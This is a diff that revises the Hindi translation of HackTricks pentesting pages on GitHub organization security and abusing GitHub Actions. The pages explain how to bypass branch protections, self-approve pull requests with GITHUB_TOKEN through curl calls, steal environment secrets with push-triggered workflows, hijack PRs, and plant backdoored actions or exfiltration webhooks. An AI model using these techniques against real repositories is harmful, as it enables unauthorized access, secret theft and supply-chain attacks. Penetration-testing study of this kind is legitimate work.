- **Base permissions**: सदस्यों को संगठन की रिपॉजिटरी पर None/Read/write/Admin की अनुमति होगी। अनुशंसित है **None** या **Read**।
- **Repository forking**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी को फोर्क करने की **अनुमति न दें**।
- **Pages creation**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी से पृष्ठ प्रकाशित करने की **अनुमति न दें**। यदि आवश्यक हो, तो आप सार्वजनिक या निजी पृष्ठ बनाने की अनुमति दे सकते हैं।
-- **Integration access requests**: इसे सक्षम करने पर बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुँच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक होता है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है।
+- **Integration access requests**: यदि यह सक्षम है, तो बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुँच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है।
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
- **Repository visibility change**: यदि सक्षम है, तो **सदस्य** जिनके पास **रिपॉजिटरी** के लिए **admin** अनुमतियाँ हैं, वे **इसके दृश्यता को बदलने** में सक्षम होंगे। यदि अक्षम है, तो केवल संगठन के मालिक ही रिपॉजिटरी की दृश्यता बदल सकते हैं। यदि आप **नहीं** चाहते कि लोग चीजों को **सार्वजनिक** बनाएं, तो सुनिश्चित करें कि यह **अक्षम** है।
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
@@ -78,16 +78,16 @@ accessible-deleted-data-in-github.md
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
- **Allow members to create teams**: यदि सक्षम है, तो संगठन का कोई भी **सदस्य** नए **टीम** बनाने में सक्षम होगा। यदि अक्षम है, तो केवल संगठन के मालिक नए टीम बना सकते हैं। इसे अक्षम रखना बेहतर है।
- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
-- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।**
+- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं, लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।**
### Actions Settings
कई सुरक्षा से संबंधित सेटिंग्स को पृष्ठ `https://github.com/organizations//settings/actions` से कॉन्फ़िगर किया जा सकता है।
> [!NOTE]
-> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं
+> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं।
-- **Github actions policies**: यह आपको यह संकेत देने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें।
+- **Github actions policies**: यह आपको यह संकेत करने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें।
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: अनुशंसित है कि **सभी** बाहरी सहयोगियों के लिए अनुमोदन की आवश्यकता हो।
- _मैंने इस जानकारी के साथ कोई API नहीं पाई, यदि आप करते हैं तो साझा करें_
@@ -100,29 +100,29 @@ accessible-deleted-data-in-github.md
_यदि आप इस जानकारी तक पहुँचने के लिए API एंडपॉइंट जानते हैं तो मुझे बताएं!_
-- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)।
-- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)।
+- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा करने के बाद)।
+- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा करने के बाद)।
## Recon & Attacks abusing credentials
-इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त कर ली है।
+इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त की है।
### With User Credentials
-यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देख सकते हैं कि सामान्य सदस्यों के पास कौन सी **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास कौन सी **अनुमतियाँ हैं** और **रिपॉजिटरी कैसे सुरक्षित हैं।**
+यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देखें कि सामान्य सदस्यों के पास कौन सी **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास कौन सी **अनुमतियाँ हैं** और **रिपॉजिटरी कैसे सुरक्षित हैं।**
-ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें**।
+ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें।**
> [!NOTE]
-> ध्यान दें कि यदि आप **`user_session` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से प्रतिनिधित्व कर सकते हैं**।
+> ध्यान दें कि यदि आप **`user_session` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से प्रतिनिधित्व कर सकते हैं।**
यदि यह उपयोगी हो तो [**branch protections bypasses**](./#branch-protection-bypass) के बारे में नीचे दिए गए अनुभाग की जांच करें।
### With User SSH Key
-Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।
+Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड को तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।
-इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषताएँ हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है:
+इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषताएँ हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि आप उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त कर सकें जिन तक आपकी पहुँच है:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
@@ -142,33 +142,33 @@ gpg --list-secret-keys --keyid-format=long
```
### With User Token
-For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
+[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#personal-access-tokens)।
-एक उपयोगकर्ता टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या [**API पर बेसिक ऑथेंटिकेशन के माध्यम से प्रमाणित करने के लिए**](https://docs.github.com/v3/auth/#basic-authentication) उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएँ करने में सक्षम हो सकते हैं।
+एक यूजर टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या इसे [**बेसिक ऑथेंटिकेशन के माध्यम से API के लिए प्रमाणित करने के लिए**](https://docs.github.com/v3/auth/#basic-authentication) उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएँ करने में सक्षम हो सकते हैं।
-एक उपयोगकर्ता टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+एक यूजर टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### With Oauth Application
-For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
+[**Github Oauth एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#oauth-applications)।
एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
-ये हैं [Oauth एप्लिकेशन द्वारा अनुरोधित स्कोप](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप की जांच करनी चाहिए।
+ये हैं [Oauth एप्लिकेशन द्वारा अनुरोधित स्कोप्स](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप्स की जांच करनी चाहिए।
-इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
+इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
### With Github Application
-For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
+[**Github एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#github-applications)।
एक हमलावर एक **दुष्ट Github एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
-इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
+इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
## Compromise & Abuse Github Action
-There are several techniques to compromise and abuse a Github Action, check them here:
+Github Action को समझौता करने और दुरुपयोग करने के लिए कई तकनीकें हैं, उन्हें यहाँ देखें:
{{#ref}}
abusing-github-actions/
@@ -176,25 +176,25 @@ abusing-github-actions/
## Branch Protection Bypass
-- **Require a number of approvals**: यदि आपने कई खातों से समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने स्वयं के PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रेपो के अंदर एक **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करके आप **अपने PR को स्वीकृत** कर सकते हैं और इस तरह 1 स्वीकृति प्राप्त कर सकते हैं।
-- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने स्वयं के PRs को स्वीकृत नहीं कर सकेगा, लेकिन यदि आप ऐसा कर रहे हैं, तो आप इसका दुरुपयोग कर सकते हैं ताकि अपने PRs को स्वीकार कर सकें।_
-- **Dismiss approvals when new commits are pushed**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, किसी के द्वारा इसे स्वीकृत होने की प्रतीक्षा कर सकते हैं, और फिर दुष्ट कोड डाल सकते हैं और इसे संरक्षित शाखा में मर्ज कर सकते हैं।
-- **Require reviews from Code Owners**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप एक **Github Action बना सकते हैं जो आपका PR बनाए और फिर इसे स्वयं स्वीकृत करें**।
-- जब एक **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई है**, तो Github शिकायत नहीं करता है लेकिन इसका उपयोग नहीं करता है। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो इसका **कोड मालिकों का संरक्षण लागू नहीं होता है।**
-- **Allow specified actors to bypass pull request requirements**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं।
-- **Include administrators**: यदि यह सेट नहीं है और आप रेपो के प्रशासक हैं, तो आप इस शाखा सुरक्षा को बायपास कर सकते हैं।
-- **PR Hijacking**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुष्ट कोड जोड़ सकते हैं, परिणामस्वरूप PR को स्वयं स्वीकृत कर सकते हैं और सब कुछ मर्ज कर सकते हैं।
-- **Removing Branch Protections**: यदि आप रेपो के **प्रशासक हैं, तो आप सुरक्षा को अक्षम कर सकते हैं**, अपने PR को मर्ज कर सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं।
-- **Bypassing push protections**: यदि एक रेपो **केवल कुछ उपयोगकर्ताओं** को शाखाओं में पुश (कोड मर्ज) करने की अनुमति देता है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)।
-- यदि आपके पास **रेपो पर लिखने की पहुँच है लेकिन आपको कोड पुश करने की अनुमति नहीं है** क्योंकि शाखा सुरक्षा है, तो आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड पुश होने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं करती है**, इस शाखा में पहले कोड पुश से **github action निष्पादित होगा**।
+- **अनुमोदनों की संख्या की आवश्यकता**: यदि आपने कई खातों का समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने स्वयं के PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रेपो के अंदर एक **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करके आप **अपने PR को अनुमोदित** कर सकते हैं और इस तरह 1 अनुमोदन प्राप्त कर सकते हैं।
+- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने स्वयं के PRs को अनुमोदित नहीं कर सकेगा, लेकिन यदि आप कर सकते हैं, तो आप इसका दुरुपयोग कर सकते हैं ताकि अपने PRs को स्वीकार कर सकें।_
+- **नए कमिट्स के धकेलने पर अनुमोदनों को अस्वीकार करें**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, जब तक कोई इसे अनुमोदित नहीं करता, और फिर दुष्ट कोड डालकर इसे सुरक्षित शाखा में मर्ज कर सकते हैं।
+- **कोड मालिकों से समीक्षाओं की आवश्यकता**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप एक **Github Action बना सकते हैं जो आपका PR बनाए और फिर इसे स्वयं अनुमोदित करें**।
+- जब एक **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई है**, Github शिकायत नहीं करता लेकिन इसका उपयोग नहीं करता। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो **कोड मालिकों की सुरक्षा लागू नहीं होती।**
+- **निर्धारित अभिनेताओं को पुल अनुरोध आवश्यकताओं को बायपास करने की अनुमति दें**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं।
+- **व्यवस्थापकों को शामिल करें**: यदि यह सेट नहीं है और आप रेपो के व्यवस्थापक हैं, तो आप इस शाखा सुरक्षा को बायपास कर सकते हैं।
+- **PR हाईजैकिंग**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुष्ट कोड जोड़कर, परिणामस्वरूप PR को स्वयं अनुमोदित करके और सब कुछ मर्ज करके।
+- **शाखा सुरक्षा को हटाना**: यदि आप **रेपो के व्यवस्थापक हैं, तो आप सुरक्षा को अक्षम कर सकते हैं**, अपने PR को मर्ज कर सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं।
+- **धकेलने की सुरक्षा को बायपास करना**: यदि एक रेपो **केवल कुछ उपयोगकर्ताओं** को शाखाओं में धकेलने (कोड मर्ज करने) की अनुमति देता है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)।
+- यदि आपके पास **रेपो पर लिखने की पहुँच है लेकिन आपको कोड धकेलने की अनुमति नहीं है** क्योंकि शाखा सुरक्षा के कारण, आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड धकेलने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं करेगी**, इस शाखा पर पहले कोड धकेलने से **github action निष्पादित होगा**।
## Bypass Environments Protections
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+[**Github Environment के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-github-information.md#git-environments)।
-यदि कोई वातावरण **सभी शाखाओं से पहुँच योग्य है**, तो यह **सुरक्षित नहीं है** और आप आसानी से वातावरण के अंदर रहस्यों तक पहुँच सकते हैं। ध्यान दें कि आप उन रेपोज़ को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (उनके नाम निर्दिष्ट करके या `*` का उपयोग करके) उस परिदृश्य में, **एक शाखा खोजें जहाँ आप कोड पुश कर सकते हैं** और आप **एक नई github action बनाकर रहस्यों को निकाल सकते हैं** (या एक को संशोधित करके)।
+यदि कोई वातावरण **सभी शाखाओं से पहुँच योग्य है**, तो यह **सुरक्षित नहीं है** और आप आसानी से वातावरण के अंदर रहस्यों तक पहुँच सकते हैं। ध्यान दें कि आप उन रेपोज़ को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (उनके नाम निर्दिष्ट करके या `*` का उपयोग करके) उस परिदृश्य में, **एक शाखा खोजें जहाँ आप कोड धकेल सकते हैं** और आप **एक नई github action बनाकर रहस्यों को निकाल सकते हैं** (या एक को संशोधित करके)।
-ध्यान दें, कि आप उस किनारे के मामले को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (वाइल्डकार्ड `*` के माध्यम से) यह निर्दिष्ट किया गया है **कौन शाखाओं में कोड पुश कर सकता है** (_आप इसे शाखा सुरक्षा में निर्दिष्ट कर सकते हैं_) और **आपका उपयोगकर्ता अनुमति नहीं है**। आप अभी भी एक कस्टम github action चला सकते हैं क्योंकि आप एक शाखा बना सकते हैं और उस पर पुश ट्रिगर का उपयोग कर सकते हैं। **शाखा सुरक्षा एक नई शाखा में पुश की अनुमति देती है इसलिए github action ट्रिगर होगा**।
+ध्यान दें, कि आप उस किनारे के मामले को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (वाइल्डकार्ड `*` के माध्यम से) यह निर्दिष्ट किया गया है **कौन शाखाओं में कोड धकेल सकता है** (_आप इसे शाखा सुरक्षा में निर्दिष्ट कर सकते हैं_) और **आपका उपयोगकर्ता अनुमति नहीं है**। आप अभी भी एक कस्टम github action चला सकते हैं क्योंकि आप एक शाखा बना सकते हैं और इसके ऊपर धकेलने के ट्रिगर का उपयोग कर सकते हैं। **शाखा सुरक्षा एक नई शाखा में धकेलने की अनुमति देती है इसलिए github action ट्रिगर होगा**।
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -208,7 +208,7 @@ branches:
- **रहस्यों** से **गिटहब टोकन** चुराएं
- कार्यप्रवाह **परिणामों** और **शाखाओं** का **हटाना**
- सभी संगठन को **अधिक अनुमतियाँ** दें
-- जानकारी को निकालने के लिए **वेबहुक** बनाएं
+- जानकारी को बाहर निकालने के लिए **वेबहुक** बनाएं
- **बाहरी सहयोगियों** को आमंत्रित करें
- **SIEM** द्वारा उपयोग किए गए **वेबहुक** को **हटाएं**
- **बैकडोर** के साथ **गिटहब क्रिया** बनाएं/संशोधित करें
@@ -216,7 +216,7 @@ branches:
### धोखेबाज़ कमिट - रेपो कमिट के माध्यम से बैकडोर
-गिटहब में यह संभव है कि **एक फोर्क से एक रेपो के लिए PR बनाया जाए**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**।
+गिटहब में **एक फोर्क से एक रेपो के लिए PR बनाना संभव है**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**।
जैसे [**यह**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index ecb8e27e0..57efdb67f 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,30 +1,30 @@
-# Abusing Github Actions
+# Github Actions का दुरुपयोग
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## बुनियादी जानकारी
इस पृष्ठ पर आपको मिलेगा:
-- एक **सारांश सभी प्रभावों का** जब एक हमलावर Github Action तक पहुँचने में सफल होता है
-- **एक्शन** तक पहुँचने के विभिन्न तरीके:
+- एक **सारांश सभी प्रभावों** का जब एक हमलावर Github Action तक पहुँचने में सफल होता है
+- **एक्शन तक पहुँचने के विभिन्न तरीके**:
- एक्शन बनाने के लिए **अनुमतियाँ** होना
-- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना
-- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना
-- पहले से समझौता किए गए रेपो से **पिवटिंग** करना
-- अंत में, एक अनुभाग **भीतर से एक्शन का दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (उपरोक्त प्रभावों का कारण बनना)
+- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग
+- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग
+- पहले से समझौता किए गए रिपॉजिटरी से **पिवोटिंग**
+- अंत में, एक अनुभाग **एक्शन के अंदर से दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (क्योंकि उल्लेखित प्रभाव)
-## Impacts Summary
+## प्रभावों का सारांश
-[**Github Actions के बारे में मूल जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय।
+[**Github Actions के बारे में बुनियादी जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय।
-यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं:
+यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रिपॉजिटरी** के भीतर, तो आप सक्षम हो सकते हैं:
-- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना** ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुँच प्राप्त कर सकें।
+- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग** करके बाहरी प्लेटफार्मों, जैसे AWS और GCP, तक अनधिकृत पहुँच प्राप्त करना।
- **डिप्लॉयमेंट्स और अन्य** **कलाकृतियों** का समझौता करना।
-- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमले की अनुमति मिलती है।
-- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवट किया जा सके।
-- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**।
+- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमला सक्षम हो सकता है।
+- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवोट किया जा सके।
+- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रिपॉजिटरी कोड को ओवरराइट करना**।
## GITHUB_TOKEN
@@ -35,7 +35,7 @@
यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपो तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके।
+> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **GitHub के भीतर क्रॉस-रिपॉजिटरी** पहुँच की अनुमति देता है, ताकि एक रिपॉजिटरी अन्य आंतरिक रिपॉजिटरी तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके।
आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
@@ -56,7 +56,7 @@ https://api.github.com/repos///pulls//merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
-{{#tab name="PR को मंजूरी दें" }}
+{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।
+> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक अधिकार दे सकते हैं।
@@ -141,13 +141,13 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
## अनुमत निष्पादन
> [!NOTE]
